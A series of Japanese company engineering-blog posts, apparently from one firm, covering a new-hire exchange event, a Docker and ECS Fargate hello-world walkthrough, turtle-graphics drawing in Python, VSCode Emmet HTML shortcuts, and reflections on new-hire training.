はじめに Webマーケティング課（現デジタルテクノロジー戦略本部）のY.Dです。 研修期間中に2年目社員×1年目社員との交流会を行いました。 本記事はその様子をまとめたものです。 去年1年目を経験した私からしたら 1年目の不安 は凄まじいものです。新人には優しい組織であることが良い組織ではないかと思うので、時間を見つけて企画してみました！ 進行 2年目の同期に色々協力いただき、以下のプログラムで実施しました。 ①2年目の自己紹介 ②嘘ほんと自己紹介（1年同士） ③共通点探しワーク（1年×2年） 目的 交流会前の1年目の状態 開催日、1年目は入社4日目（営業日換算）というまさに 入社したてほやほや なコンディションでした。この状況からどのような内容が良いか検討しました。 １年目の状態（予想） 入社4日目 新人研修中の真っ最中 現在はビジネスマナーや会社のことを学んでいる 新生活始めたて 住む場所や人間関係が一新された状態 上記のことから、毎日が張り詰めた感じ けっこうキツイ！ 新生活のストレスはキツイです。私は特にクラス替え直後とか嫌いでした。。 でも、このキツさはある程度の人間関係の構築でマシにはなると思いました。 なので・・・ 1年目同士＋1年目と2年目の人間関係が作れて、かつ、肩の力を抜ける 企画！ ⇒が、ベストだと考え、内容を考えました。 「人間関係を作る」には徹底的な自己開示ワークを というわけで、人間関係の構築に欠かせない、自己開示を 自己紹介の進化系 みたいなワークで進める方向性になりました。 ワーク①：嘘ほんと自己紹介 ルール 以下の項目で自己紹介を行う。しかし、各々１つだけ嘘を入れる。 ・自己紹介の項目は４つ ①好きなもの・得意なこと ②嫌いなもの・苦手なこと ③学生時代のこと（バイトや部活・・・） ④自慢できること 一人が自己紹介👉嘘当てタイム👉次の人 ※発表者は嘘だと当てられないように善処して進める。 ワークの意図 このワークの意図は「 嘘を入れることで注意して聞くようになる 」ところにあります。時にはメモを取りながら聞いている人もおり、話す方も話し方や嘘を入れるタイミング等を工夫することで、ゲーム性のあるワークになりました。アイスブレイクとしてちょうどいい重さであったと感じています。 ワーク②：共通点探しゲーム ルール ワークの意図 共通点を見つけようと、お互いに質問しまくる展開が予想されます。（つまり、自己開示の連続となる）一方的に話す自己紹介よりも対話形式になることで、よりフラットで軽いコミュニケーションが発生しました。 実際のシート ⇒私が参加した班のシートです。 　「優秀」「有能」「会社の宝」など自己肯定感が高めの班でした！ ⇒優勝チームのシートです。後半は人間そのものの共通点なので、ちょっとずるい感じもしますが、発想が良いですね！10分で37個なので1分間に3.7個の共通点を発見できる計算となります。 凄いですね まとめ 我々2年目においても非常に充実した2時間くらいだったと思います。エンジニアとしての知識や技術の研修だけではなく、このような取り組みをすることで、良い人間関係につながり、結果的に本務での連携力にもつながるかなとも思います。 今回の目的は「1年目同士＋1年目と2年目の人間関係が作れて、かつ、肩の力を抜ける」でしたが、新入社員以外でもこういった時間は必要かもしれません。 最後に当日の様子をお送りします。 ※研修自体は40～50%のテレワーク率で実施しています。この日は出社日ということで、より仲を深めようと交流会を企画しました！ 以上、お読みいただきありがとうございました！

はじめに 社内の開発PJにて、現在EC2で稼働中のPython（およびシェルスクリプト）ファイルをFargate化するタスクを担当してます。 これまでDockerやECS（Fargate）を触ったことがなかったので、試しに hello_world.py をECS Fargate で実行してみるってところから始めたので、その備忘録になります。 サーバの用意 Docker環境用のサーバを用意します。 本備忘録ではEC2を使用しています。 Pythonファイルの用意 "Hello World"の文字列を返すだけのPythonファイルを用意します。 # hello_world.pyprint("hello_world") 実行できる事を確認 [ec2-user@ip-172-31-0-42 ~]$ python3 hello_world.py hello_world Docker環境の用意 ECS Fargate は AWSが用意する コンテナ サービスになります。 コンテナはアプリケーションの環境を効率的に構築できる技術で、それを管理するツールとして Docker が広く利用されています。 ※Docker以外のコンテナ管理ツールは、Podman/Skopeo/Buildahがあげられるようです。 Dockerに触れたことがない方は、以下の記事を読んでみる事をおススメします。 すごくわかりやすいです。 Docker入門（第一回）～Dockerとは何か、何が良いのか～ https://knowledge.sakura.ad.jp/13265/ Dockerをインストールする EC2に以下コマンドでDockerをインストール・起動します。 # dockerインストール$ sudo yum install docker# docker起動$ sudo systemctl start docker# サーバを再起動してもdockerが起動している（active）状態にする$ sudo systemctl enable docker# dockerの状態確認$ systemctl status docker★active状態になっていればOK Dockerfileの作成 コンテナを起動する（今回の場合、Pythonを動かす）ためには、 Docker イメージ を作成する必要があります。 ※Dockerイメージとは、コンテナを起動する上でのテンプレートファイルです。 Dockerイメージを作成するためには、その設計書となる Dockerfile が必要となるため、こちらを作成します。 #Dockerfile# python イメージをベースにするFROM python:2.7-slim-busterCOPY hello_world.py hello_world.pyCMD python hello_world.py ※Dockerfileは今回の場合、hello_world.pyと同じ階層に設置します（別の階層にする場合は、COPY の ファイル名の前にパスを指定する必要があります） Docker環境でpythonファイルを動かす 作成した Dockerfile をもとにDockerイメージを作成し、イメージからコンテナを起動（Pythonファイルを動か）します。 Dockerfileが存在するディレクトリでDockerイメージを作成します。 $ docker build -t hello_world . 作成したDockerイメージを確認します。 $ docker images★REPOSITORY に hello_world があればOK Dockerイメージをもとにコンテナを起動します。 docker run hello_world★「hello_world」が返ってくればOK ECS Fargate でPythonを動かす Dockerイメージが作成できたので、ECS Fargate上でPythonファイルを動かしてみます。 EC2のIAMロールにECRアクセス用のポリシーを割り当てる 以下の「ECRに作成したイメージをプッシュ」を行うためには、EC2にECRアクセス用のIAM Roleを割り当てる必要があります。 以下画像の通り、ECRアクセス用ポリシー（ AmazonEC2ContainerRegistryFullAccess ）をEC2のIAMロールに割り当てます。 ECRに作成したイメージをプッシュ イメージの格納先として、Amaozon ECRを利用します。 AWSマネジメントコンソールから「ecr」と検索し、リポジトリを選択します。 「リポジトリを作成」を押下し、以下のように設定し、リポジトリを作成します。 可視性設定 プライベート リポジトリ名 iy-test-repository 以下のようにリポジトリが作成されたら、「プッシュコマンドの表示」にて表示されるコマンドをEC2（Docker環境）にて実行します EC2（Amazon Linux）上で実行するため「macOS / Linux」を選択 1.のDockerクライアント認証については、そのまま実行 「Login Succeeded」が返ってきたらOK ※上記で対応した、IAMロールにECRアクセス用のポリシーを割り当てていないとうまく認証ができません。 こちらはすでにイメージを作成済みのため、実行しなくてOK そのまま実行してもよいし、お好きなタグに変更してもOK 何もエラーが出ない事を確認 そのまま実行 いろんなリソースが「Pushed」されればOK リポジトリ内にイメージがプッシュされればOK ※「イメージのURI」の情報は後で使います タスク定義を作成する タスク定義 ではイメージからコンテナを作成するための定義を定められます。 https://docs.aws.amazon.com/ja_jp/AmazonECS/latest/developerguide/task_definitions.html それでは、やっていきます。 マネジメントコンソールのECSからタスク定義を選択し、「新しいタスク定義の作成」を押下します。 起動タイプに「FARGATE」を選択する コンテナの定義を設定する タスク定義名 iy-test-task-definition タスクメモリ（GB） 0.5GB（最小スペック） タスク CPU（vCPU） 0.25 vCPU（最小スペック） コンテナの追加 以下画像の通りに指定 コンテナ名 iy-test-container イメージ 上で取得した「イメージのURI」をコピペ 作成を押下し、タスク定義が作られていればOK クラスターを作成し、Pythonファイルを実行 ECSからクラスターを選択し、「クラスターの作成」を押下します。 クラスターテンプレートに「ネットワーキングのみ」を選択する クラスターの設定をする クラスター名 iy-test-cluster 作成したクラスターから「作成」を押下 サービスの設定をする 起動タイプ FARGATE タスク定義 iy-test-task-definitionを選択 サービス名 iy-test-service タスクの数 1 ネットワーク構成を設定する クラスターVPC 適当なVPCを選択 サブネット 適当なサブネットを選択 Auto Scaling（オプション） 「サービスの必要数を直接調整しない」を選択 確認画面にて設定を確認し、「サービスの作成」を押下すると、サービス・タスクが表示されます。 タスクの詳細から「ログ」を開くと、hello_worldが返ってきている事を確認できます。 よく使うDockerコマンド 頻繁に利用するDockerコマンドを紹介します。 他にも色々なコマンドがあるので、気になる方はぜひ調べてみてください！ ▼dockerイメージの作成（ビルド） $ docker build ▼既存のdockerイメージ一覧を確認 $ docker images ▼イメージからコンテナを起動 $ docker run <イメージ> ▼起動中のコンテナ一覧を確認 $ docker ps★「docker ps -a」とすると、起動していないコンテナも含めて確認できる ▼既存のコンテナの削除 $ docker rm <CONTAINER ID> ▼dockerイメージの削除 $ docker rmi <IMAGE ID>★「docker rmi -f <IMAGE ID> ...」とすると複数のイメージを一気に削除できる 参考 https://dev.classmethod.jp/articles/amazon-ecr-ecs-fargate

初めに 大学の講義で一度学んだタートルグラフィックスで亀の絵を描いてみたいという野望を長年持っていました。 今回、同じ野望を持つ人がイメージできるよう本記事を作成いたしました。 なお今回はGoogle Colaboratoryを用いているので環境構築については記入いたしません。 タートルグラフィックスとは タートルグラフィックス(Turtle Graphics)とは亀を操作して図を描写することが出来る機能です。 Wally Feurzeig, Seymour Papert, Cynthia Solomon が 1967に開発したLogo プログラミング言語の機能の一つです。 例えば以下のようなことを行うことが出来ます。 for i in range(5): turtle.forward(100) turtle.right(144) 本記事の目的 タートルグラフィックスを用いて、亀の絵を描いてみることです。 楽しく(遊びながら)プログラムに触れることが出来ます。 こんな人におすすめの記事です!! 亀で亀を描くとは？と興味を持った人 Python初心者 Pythonで絵を描いてみたい人 亀がちょこまか動くのを見て癒されたい方 亀で亀を描くという夢を持っている人 本題 亀を描くにあたって以下を考える必要があります。 亀の向き(角度) 亀の動く距離 特に亀の向きを考えることが、タートルグラフィックスを用いて絵を描くうえで重要です。 イメージ図 コードを書く前にまずイメージ図を書きました。(ibisPaintというスマホアプリで作成) イメージを明確化することで、迷いなくプログラムを書くことが出来ます。 今回は 甲羅を描く 甲羅の下線を書く 頭の下線を描く 頭の曲線を描く 足・しっぽを描く の順に実践しました。 コード タートルグラフィックスのインストール まず、Google Colaboratory内で、タートルグラフィックスを使用できるようにします。 !pip install ColabTurtleimport ColabTurtle.Turtle as turtleturtle.initializeTurtle() 今回使用した主なコード 今回、使用した主なコードの説明をします。 基本的に以下を用いれば図を描くことが可能です。 turtle.forward(100) #亀が向いている方向へ100移動するturtle.left(90) #亀が向いている方向から左に90度傾くturtle.right(90) #亀が向いている方向から右に90度傾くturtle.home() #最初の位置・角度に戻るturtle.penup() #書き込みをしないturtle.pendown() #書き込みをするturtle.write("A", font=(40, "Arial", "normal")) #Aの文字を記入 甲羅の作成 甲羅の作成を行います。 図を書いて亀の向きを計算しながらコードを書いています。 このタイミングで直径を求めず、しっぽを生やすことを決意しました。 そのため、イメージ図と違いしっぽが生えています。 import ColabTurtle.Turtle as turtleturtle.initializeTurtle()turtle.pendown()turtle.color('green') #亀の色と言えば緑!!turtle.right(30-4) #*亀の傾きをx軸と平行に最後8度回転してしまう為4度引くfor i in range(30): #240度分の扇を描く turtle.forward(5) turtle.left(8)turtle.left(60-4) #*と同じ修正turtle.forward(80) #体の線を書くturtle.penup() #書き込みをしない(移動のため)turtle.left(180)turtle.forward(80) #元の場所へ戻るturtle.pendown() #ここから記入 頭の作成 次に頭の作成を行いました。 頭は、計算せず、見た目で角度や長さを決めています。 turtle.forward(30) #頭の下の作成turtle.right(18) #良い感じの傾きにしたfor i in range(15): #240度の扇を描く turtle.right(16) turtle.forward(5) 足・しっぽの作成 また、足・しっぽの作成を行いました。 頭を書いた時点で位置(座標)が不明になってしまったため一度ホームに戻りました。 #後ろ足作成turtle.left(26)turtle.penup() #書き込みをしない(移動のため)turtle.home() #最初の位置に戻るturtle.pendown() #ここから記入turtle.left(162) #*と同じ修正(180-18)for i in range(5): turtle.forward(5) turtle.right(36) #前足作成turtle.penup() #書き込みをしない(移動のため)turtle.home() #最初の位置に戻るturtle.left(90) turtle.forward(42) turtle.pendown() #ここから記入turtle.left(108) #*と同じ修正(90+18)for i in range(5): turtle.right(36) turtle.forward(5)#しっぽを作成turtle.penup() #書き込みをしない(移動のため)turtle.home() #最初の位置に戻るturtle.pendown() #ここから記入turtle.right(90) for i in range(3): # 段々細くなるしっぽへ変更 turtle.pensize(6-2*i) turtle.forward(5) 文字を追加・亀の位置を移動 文字を追加しました。 また、ベストショットにする為、最後亀に移動してもらいました。 turtle.penup()turtle.goto(290,175)#文字を書くturtle.pendown()turtle.write("K", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("A", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("M", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("E", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)# 亀を良い位置に移動するturtle.pendown()turtle.penup()turtle.home()turtle.forward(30)turtle.left(90)turtle.forward(30) わかったこと やるうえで必要なこと (恐らくGoogle Colaboratoryでは)円を描くことが出来ない為、直径を計算する必要があり、イメージ図を書かないと難しいと思います。 亀の向き(角度)がわからない時はHOMEに戻ると良いです。 タートルグラフィックスを学ぶのにおすすめな人・おすすめでない人 スピードがかなり遅い(このコードで一分程度かかります)為、本格的にプログラムに興味がある人には向きません。 プログラムって難しい・苦手だけど絵を描くのは好きという人におすすめです。

初めに T.Tです。有料のプログラミング学習ツールを利用して勉強している中でこれを知っていればつよつよエンジニアに一歩近づけるといった知識をいくつか習得したのでいくつか共有しようと思い、作成しました。 実行環境 VSCode [学生時代読み方をバーサスだと思っていました。プログラミングでみんなが悪戦苦闘しながらバトルし続けるツールだから（笑）] ※基本的なコーディングソフトではすべて対応していると思います。 HTML裏技5選！ ①ひな形作成 操作方法：！(エクスクラメーション)＋Enter <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title></head><body></body></html> 操作はたったこれだけです。これまで大学の授業とかでHTMLを作成するた度に""と最初から表記していました。これは初知りでした。 ②タグの高速作成 操作方法：使用するタグのスペル＋Enter(ex. link + Enterの場合) <link rel="stylesheet" href=""> ③タグの高速作成(応用) 操作方法：div.○○＋Enter <div class="oo"></div> 「.」(ドット)は「その中の」の意味のとしての場所やクラスの意味をあらわすことが多いですね 操作方法：ul>li*2＋Enter <ul> <li></li> <li></li> </ul> 「>」(大なり)はテーブル系の相性が良く、作成したいリストの数を入力すると作成してくれるのでこれも効率化できますね！ ④文章の自動生成 操作方法：lorem＋Enter Lorem ipsum dolor sit amet consectetur adipisicing elit. Neque officia laboriosam nulla repudiandae amet quae in fugit velit, debitis dicta voluptate consequuntur veniam fugiat quaerat obcaecati sit. Nam, sequi culpa! プリント文など長文の文章を仮置きして、実行でのサイト表示などを確認したいときに便利です。 ⑤改行せずに画面内に表示したい！！！ ④のように長文を書いたはいいけど文に間違いがないか画面内に表示して確認したい。そんな時が下記の操作です。 操作方法：Alt＋z // HTML Lorem ipsum dolor sit amet consectetur adipisicing elit. Neque officia laboriosam nulla repudiandae amet quae in fugit velit, debitis dicta voluptate consequuntur veniam fugiat quaerat obcaecati sit. Nam, sequi culpa! 改行したらタグが外れて変になる言語もあるので便利ですね！ おまけ：コピーライトで使用するタグ <small></small> サイトのコピーライトの記載で慣習的に割り当てられるそうです。 終わりに いかがだったでしょうか？たかがHTML、されどHTMLということでHTMLもコーディングを効率化できる方法はまだまだたくさんあるみたいです。ほかのプログラミング言語でも同じような裏技もたくさんあると思うのでどんどん活用していきたいですね！ 追記 vscodeで1~4の略式記法が使用できるのは、vscodeがEmmetに対応しているからでのようです。 Emmet公式チートシート一覧

はじめに はじめまして！2022年度新入社員のらいおんです！ 今年度の新人研修では、技術研修の運営も新卒社員がおおむね担当しました。 約2か月あった研修期間を3つの期間に分けて、それぞれ10人ほどの班で運営を行い、各期間の最後に成果報告会を行いました！ 研修運営では、主に朝会・夕会の進行、講師の方々のアテンド、研修会場や道具の準備など、研修を行うために必要な業務を行っていました。 そして先日、システム職の新人社員研修を終えた同期と一緒に、研修運営を振り返りしました。 今回のエンジニアブログでは、振り返り内容を座談会形式でお伝えしていきます！ ▼研修カリキュラムの詳細については別記事にまとめていますので、ぜひこちらもご覧ください！ ###card_post_id=711### 研修運営を行った目的 そもそもなんで研修運営をやったの？ 「自分たちの受ける研修の運営をなんでやったの？」「技術職ならもっと技術の研修に集中した方がいいのでは？」と思う方もいるかもしれません。 私自身も、はじめに話を聞いた時は驚きました。 しかし、ここには マイナビは「主体性」を求められる会社 だという背景があります。 マイナビという会社は事業会社であり、お客さんから依頼を受けるのではなく自らビジネスを作りだしている会社です。 そのため、依頼をこなすだけではなく、作り出したビジネスに対して自ら課題を見つけて解決を目指すことが求められます。 よって営業職・システム職問わず「主体性」を求められます。 (参考: 株式会社マイナビ ITスペシャリスト採用 ) その主体性を伸ばしていくために、今回の新人研修では新人が運営を行いました。 実際に新人たちが主体性を伸ばせたかは座談会を見ていただけばわかると思います！ 新入社員の紹介 まずは、座談会に参加してくれた新入社員の紹介をします！ らいおん：ファシリテーター 今回の企画の発起人＆主編集者。 情報系の学部を卒業しました。 オフィスワーク＆趣味の舞台観劇で連日姿勢が固定され続けています。 丸くてかわいいキーが付いたキーボードが欲しい今日この頃。 とら：運営1班代表 運営1班代表＆本記事の共同編集者。 情報系の学部を卒業しました。 社会人になって京都から上京してきたので東京の名所開拓にハマった結果、体の節々を痛めています。 ぞう：運営2班代表 運営2班代表＆本記事の共同編集者。 ITとは無縁な人文系の学部を卒業しました。 プログラミングを本格的に学んだのは研修が初めて。 周りは理系出身者が多く、興味やこだわりを持つポイントが自分と違って、そこも勉強になりました！ くま：運営3班代表 運営3班代表＆本記事の共同編集者。 四捨五入したら30歳になる非情報系の理系院卒です。 学部卒とのジェネレーションギャップを感じてます。 最近無糖のカフェオレを飲めるようになりました。 研修のスケジュール 今年度の新人研修は以下のスケジュールで進行しました。 IT研修から開発演習までの約2か月の間、３つの班で交代しながら研修運営を行いました。 また、運営担当期間が終了した次の日に成果報告会を行い、運営課題と改善策、その実績や残った課題を発表し、次の運営班に引き継ぎをしました。 成果報告会は研修生だけでなく、新卒研修担当部署の方々や研修講師の方々に発表を聞いていただきました。 座談会 研修や運営を振り返って みなさんは研修や研修運営を振り返ってみてどう思いましたか？ 僕は学校生活みたいだな、と思ってた。 IT職の同期が39人で、ちょうど学校のクラスくらいだから。 でも、運営業務で講師の方のアテンドをする中で、礼儀や作法といった社会人としての基礎の部分も身に付けられたから、 学校みたいだったけど学生気分ではいられなかった な。 運営に関していうと、私たち1班は一番最初に運営をすることになったから、0から1を作り出す段階だった。 わからないことだらけだったから、みんなと協力して 「運営はこうすればよくなるのでは」 という基盤を作ることが大変だったかな！ 私は研修自体も運営も大変だった、って印象が強いかな（笑） 初学者で研修についていくのが大変な中で、運営のことも考えなきゃいけないのが負担だった......。 あとは運営をやっていく中で、 考え方や価値観がみんなそれぞれ違う っていうことを実感したかな。 自分がこうしよう！と考えて実行したことが本当にベストであるかを、みんなの意見から考えさせられたし、自分の視野も広げられたと思う。 たしかにIT初学者も経験者もいたからこその苦労がありましたね。 物事に対する考え方もバラバラな中、息を合わせて研修運営をすることが個人的にも大変だったと思います。 技術的に新しく学ぶことも多い中で、礼儀作法といった社会人に必要なことを同時に学んだことはかなり負荷が高かったですが、その分今は達成感も感じています。 運営活動の中で印象的なエピソード 研修期間は1チームあたり、およそ3週間ありました。 その中で、大変なことだったり印象的なエピソードはありましたか？ 1班は役割をこなすので精一杯の人が多かったかな。 運営を担当したのが一番最初だったから、 「どんな仕事をどうやってするべきか」 を0から決めていく必要があって、なかなか他の部分に手が回らなかった。 例えば、成果報告会に向けた資料作成をすることは前々から共有していたけれど、結局忙しくて作り始めた時期はギリギリだった（笑） でも、1班が仕事の基本をしっかり作ってくれたから仕事がしやすかったよ。 確かに！忙しかったけれど仕事をやりきって、次の班に業務を丁寧に引き継ぎできた自信がある！ その後も2班の研修運営で気づいたことがあったらアドバイスをしていたよ。 1班は成果報告会で、 相手目線に立って考える ことを運営活動を通し学べたと発表していました。 一番はじめに運営という立場に立って苦労したからこそ、次の運営をする2班にアドバイスできるようになったのかもしれませんね！ 1班が基盤づくりで手一杯だった分、2班は1班のやっていたことをもとにして、業務効率化のためにシステムを作ってくれたよね！ 1班は毎日タスクのリマインドを手動でしてたけど、2班はツールを使ったタスク管理システムを作っていてすごいと思った。 うん！他にも運営の仕事の効率化のためにシステムを作ったよ。 あと、私たちの班は 「本当に研修生のためになるかどうか」という視点 で運営方針が考えられていたことが良かったなと思うよ。 私が提出物の管理担当になった時に、最初はタスクの締切について細かいリマインドをしようとしていたんだ。 けれど、同じ担当の同期に "自分がやってあげるのではなく、主体性を促すためのサポートが大事だよね" と言われたんだ。 2班の成果報告会で、「研修を終えても 新人が自ら考え主体的に動ける人になる こと」を目標に運営活動を行ったと言っていましたね。 そう。だから私も、そのことに気づいてからサポートすることを意識するようになったよ。 2班の担当期間が終了した段階ではまだ受動的になっている研修生はいたけど、改善のための下地は作れたかなと思う。 成果報告会でも課題として挙げて、3班に引き継いだよ。 僕たちが担当した時期は、研修がチーム開発演習に入って忙しくなった時期だった。みんなが、提出物などの 研修外でやるべきことに、手が回らなくなってきていた な。 だから、スプレッドシートで提出物を管理するだけじゃなくて、運営班で夕会の時間に提出物を出したか確認をするようになった。 研修が大詰めになったのもあって、研修生に慣れが出た時期でしたね……。 実際、開発演習は本当に大変で、朝からずっと話し合いや書類作成に追われていました。 最初は夕会の時に1人が全体にリマインドを行ってたけど、状況はあまり改善されなかった。 だから、 各開発チームごとにいる運営班のメンバーが班に向けてリマインド をするようにしたよ。 各チームのメンバーは6、7人だったから指示も通りやすくなって、本当に提出したかどうかという細かなチェックもできるようになった！ 他にも、朝会の時間を使って 「昨日は運営活動にどのくらい協力できたか、今日はどのように貢献していくか」を振り返って班で共有する時間 を設けたよ。 3班は 状況に合わせて今までのやり方を変えていた ところが印象的でしたね。 それによって、研修が忙しくても運営活動に意識が向き、研修生みんなが以前より主体的に動けるようになったと思います！ 全体研修が終わり、現在社内インターンシップ研修を行っています。研修運営で身に付けたスキルは活かせていると思いますか？ 活かせてると思ってるよ。 個人的に、新人研修でこれまでやってきたことを 無駄にしたら意味がない と思ったんだ。だから、ToDoリストやよく使うリンク集を自分で作ったよ！仕事の整理や、自分をコントロールするという意味でも大事だと思ったからね。 私も活かせていると思う！ 前よりも、 課題の本質を考えるようになった と思う。 目先の課題を解決することももちろん大切だけど、一時的に良くなるだけではもったいないと思うようになった。 まだ実務は未経験だから分かった気になるのも良くはないかもしれない。 けど、改善すること自体より、その改善された状態が継続されるような 「仕組みづくり」 を重視して、与えられた課題の解決案を考えるようになったなって思う。 僕も活かせてると思う！ 1つめは、受け身ではなく 主体的に動く ようになったことかな。 何か疑問に思うことがあった時に、当事者意識を持って自分から聞くということができるようになったかなと思います。 2つ目は 挨拶や礼儀 。 特に社外の方への対応は学生時代には経験することがなかったけど基本は身についたと思う。あんまり丁寧過ぎても違和感があると思うけど、しっかり失礼のないような態度を学べたよ。 3つ目は、 自分だけでやろうとせずに、人に任す、任される ってことかな。 会社や社会ってチームでやるものだと思うから、自分だけでやろうとせずに、かといって誰かに押し付けるわけでもなく、協力し合って補い合うことも研修で身につけられたかなと思います。 他にも、 「全体のタスクを把握する力」 や 「話し合いの際、合意形成を取る力」 、 「みんなから注目を浴びるときのクッション言葉」 のように、主体性だけでなく様々なスキルが身についたという声が上がりました。 感想も、「たのしかった！」という意見も「しんどかった......。」という意見もどちらもありましたが、アンケートに回答していただいた29人(IT職新人の約75%)は全員 「運営をやってみて良かった！」 と思っていただけたようです！ 最後に 以上が座談会の内容になります。 運営活動では互いに得手不得手を理解しあって、支えあうことも身につけられたと感じています。 座談会を通して、マイナビのエンジニア職に興味を持っている方々に「入社したらこんなことをやるんだ！」というイメージや、「こんな考えをもつ新入社員が働いているんだ」というイメージが、少しでも伝わっていたら嬉しいです！ ということで、今回の記事を締めたいと思います。ありがとうございました！

はじめに はじめまして！22卒で開発エンジニアとして新卒入社したS.Kです！ この記事では、今年度マイナビのシステム職向けの研修について、具体的にどんなことを学んだのか紹介していこうと思います。 主にマイナビのシステム職の研修内容が気になっている学生の皆さんを対象として、イメージがつかめるような記事を作りたいと思いますので、ぜひ参考にしてみてください！ 全体のスケジュールと前提情報 スケジュール まず最初に、研修のスケジュールをまとめました。システム職の新人研修は、3か月間にわたります。 3か月間で、社会人としての基礎からWEBアプリの開発演習、新規事業提案まで幅広い内容を学びます。 最初は「3か月って長いな..」と思っていたのですが、1つ1つの単元がとても充実していたため、あっという間に終わってしまいました。 09:15の始業から、17:45の終業までみっちりやりますので、大学時代のスケジュールと比較しても、結構タイトだと思います。その分、集中して勉強に取り組むことが出来ましたし、同期・先輩社員ともとても仲良くなれました！ また、私たちの研修は以下の2点の特徴があります。 技術力の幅 22卒では、システム職の採用はシステムエンジニア職、開発エンジニア職、データサイエンティスト職、WEBマーケティング職の4つに分かれています。 採用職種によって一概に技術力を判別することはできませんが、例えばwebマーケティング職ではあまりコーディングをするような業務は想定されないので、ITが未経験の同期もいます。 そういった様々なバックグラウンドを持つ同期が同一の研修を受けるため、苦手な人は得意な人に教わって、得意な人は苦手な人に教える、といった場面がたくさんありました。 研修運営 会場の用意や講師の方のアテンド、連絡事項などを新入社員自身でやるのも今回の研修の特徴でした。 これに関しては、別の記事で詳しくまとめているので、併せて読んでみてください！ ▼研修運営についてはこちら！同期で座談会を行いました！ ###card_post_id=696### 以上の点で、ただ技術を教わる以上に、社会人として、マイナビ社員として、必要な要素を身に着けられる研修だったのかなと思います。 ここからは、それぞれの研修について説明していきます。 マナー研修、事業部研修など マナー研修 入社式を終えた僕たちを待っていたのは、マナー研修でした。 マナー研修と事業部研修は営業などの他の職種の方と一緒に行います。 主に以下の内容を学びました。 電話応対 名刺交換 あいさつ メール 言葉遣い,,,etc 名刺交換・電話応対など、おそらく多くの人がイメージしているマナー研修の内容と一致していると思います。技術力だけでなく、このような社会人・ビジネスマンとしての基礎も身に付けられるのはマイナビのシステム職ならではなのかなと思います。 マナー研修を通じて学んだことは「この数年でオンラインMTGや在宅ワークが浸透してきてコミュニケーション量が以前より減ってきているけど、機会が限られているからこそ、言葉遣いや身だしなみ、振る舞いには気をつけないといけない」でした。 改めて自分の言動を見つめ直す、良い機会になったと思います。 使用した教材の一部 事業部研修 続いて、5日間の事業部研修です。 事業部研修というのは、就職事業部（代表サービス：マイナビ20XX）、転職事業部（代表サービス：マイナビ転職）、アルバイト事業部（代表サービス：マイナビバイト）のいずれかの事業部で、営業職と一緒にビジネスモデル／営業フローの学習・テレアポの練習などをする内容となっています。 「システム職はITのことだけ学べばいいじゃないか」と思う方もいるかもしれませんが、事業会社のエンジニアとして、実際に自分たちが作ったサービスがどのように使われているのか、どのようにマネタイズされているのかについて知ることは、とても価値があったなと個人的に思います。 また、コミュニケーション力や行動力に秀でている営業職の同期を見ていると、刺激を受けて自分ももっと頑張ろうとも思いました。 オンボーディング研修 3日間のオンボーディング研修では、本格的なIT研修が始まる前準備として、miroなどのツールを使用したグループでのディスカッションの仕方や、3C分析によるマイナビの研究、自社サービスの新規機能の提案などを行いました。 miroを使用したディスカッション 上の図からも分かるように、システム職というよりは、ビジネス寄りの研修となっています。 例えば3C分析では、自社のビジネスの振り返りから始まり、競合他社の分析などを行ったうえで、今後のマイナビのビジネスの考察まで行いました。 また、自社サービスの新規機能の提案では、Point of Xやバリューマップといったビジネスのフレームワークを使用しながら、タイトな時間設定の中、考えに考え抜いて最終的な提案を行いました。 この研修を通して、改めてマイナビの業界内での立ち位置であったり、今後の進むべき方向性について考えることが出来ました。 また、社会人として限られた時間設定の中、グループの意見をまとめて提案までもっていくためのツールやフレームワークなどについて学べる貴重な機会でした。 繰り返しになりますが、マイナビのシステム職として、技術力は前提とした上で、ビジネスにも興味・関心を持つことが求められているのだなと感じました。 技術を知っているからこそ思いつくビジネスアイデアもあると思うので、僕も将来、いつか新規事業を提案できたらなと思います！ Python、フロントエンド、インフラなど ここから、いよいよシステム研修らしくなっていきます。 web開発に関連する以下のような技術を学びます。 IT基礎 アルゴリズム SQL Python フロントエンド(HTML, CSS, JavaScript) Flask Linux AWS スケジュールをみていただくと分かりますが、これらの内容を数日程度でこなしていきます。そのため、研修で全てのことを学ぶというよりは、導入と要点を学ぶ形になります。 この導入と要点を学ぶ形式の目的は「システム職は常に勉強をしないといけない職種。だから研修では自分自身で学ぶ術を知ってもらう。」という目的があったからです。 そのため研修では、講師や先輩にはその技術の概念と要点だけを教わり、あとは自分たちで技術を深めていく手法で進みました。結果、「不明点や疑問点などを正確に問う質問力」「自力で解説サイトを探す検索力」「人に分かりやすく教えるティーチング力」など、今後の実務でも役立つスキルが多く身についたと思います。 また同期の中でも技術力の差があるため、分からない人が分かる人に教わることが良くありました。それによって、あまりIT経験がない同期でも、最後まで研修についていくことが出来たのかなと思います。一方、教える側も説明している過程で理解があやふやな点に気づいたり、より深く理解することが出来て勉強になったという人が多かったです。 先輩に教わっている場面 チーム開発 3か月間の研修を締めくくるのがチーム開発になります。 チーム開発とは、6～7人の班に分かれて、要件定義から設計、実装、テストまでを2週間で行う研修です。私たちの場合は、PythonのFlaskというフレームワークを利用して、チケットの予約サイトを作成しました。 それぞれの班はユーザー側の立場も兼ねていて、例えばA班はB班に自分たちのサイトにほしい機能を依頼して、B班はA班に自分たちのサイトにほしい機能を依頼します。 開発というとコーディングをイメージする方も多いと思うのですが、チーム内でのコミュニケーションやお客さん役とのコミュニケーションの面で苦労している班が結構ありました。 例えばチーム内のコミュニケーションで言えば、それぞれが何をやっているか共有出来てなくて同じ仕事を二人でやっていたり、逆にやらなきゃいけないことを誰もやっていなかったりといったことがあったみたいです。 また、お客さん役とのコミュニケーションで言えば、打ち合わせを重ねてお客さん役の要望を拾っていく過程で、お客さん役が想像しているサイトと自分たちが想像しているサイトが違っていたりして手戻りが発生したりといったことがありました。 実際の業務でも。タイトな時間設定で社内外の人々とコミュニケーションをしていく過程で様々な問題が生じるということはよくあることだと思います。その中でこの研修では、エンジニアの能力の尺度は技術力だけではなく、コミュニケーションやスケジュール管理といった能力も大事であるということが学べました。 